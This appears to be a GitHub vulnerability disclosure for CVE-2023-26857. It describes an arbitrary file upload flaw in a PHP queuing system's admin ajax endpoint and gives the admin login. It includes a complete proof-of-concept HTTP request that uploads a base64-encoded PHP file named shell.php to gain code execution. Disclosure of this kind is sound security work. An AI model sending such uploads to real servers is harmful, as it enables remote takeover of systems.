Headline
CVE-2023-26857: bug_report/RCE-1.md at main · ctg503/bug_report
An arbitrary file upload vulnerability in /admin/ajax.php?action=save_uploads of Dynamic Transaction Queuing System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.
Permalink
Cannot retrieve contributors at this time
Dynamic Transaction Queuing System v1.0 by oretnom23 has arbitrary code execution (RCE)
BUG_Author: ctg503 team
vendors: https://www.sourcecodester.com/php/14479/dynamic-transaction-queuing-system-using-phpmysql-source-code.html
The program is built using the xmapp-php8.1 version
Login account: admin/admin123 (Super Admin account)
Vulnerability url: ip/queuing/admin/ajax.php?action=save_uploads
Loophole location: Dynamic Transaction Queuing System’s “/queuing/admin/ajax.php?action=save_uploads” file exists arbitrary file upload (RCE)
Request package for file upload:
POST /queuing/admin/ajax.php?action=save_uploads HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.88/queuing/admin/index.php?page=uploads Content-Length: 396 Content-Type: multipart/form-data; boundary=---------------------------208633099825036 Cookie: PHPSESSID=t4551shae3529036q2g0j8luub Connection: close -----------------------------208633099825036 Content-Disposition: form-data; name="id" -----------------------------208633099825036 Content-Disposition: form-data; name="img[]" data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== -----------------------------208633099825036 Content-Disposition: form-data; name="imgName[]" shell.php -----------------------------208633099825036–
The files will be uploaded to this directory \queuing\admin\assets\uploads
We visited the directory of the file in the browser and found that the code had been executed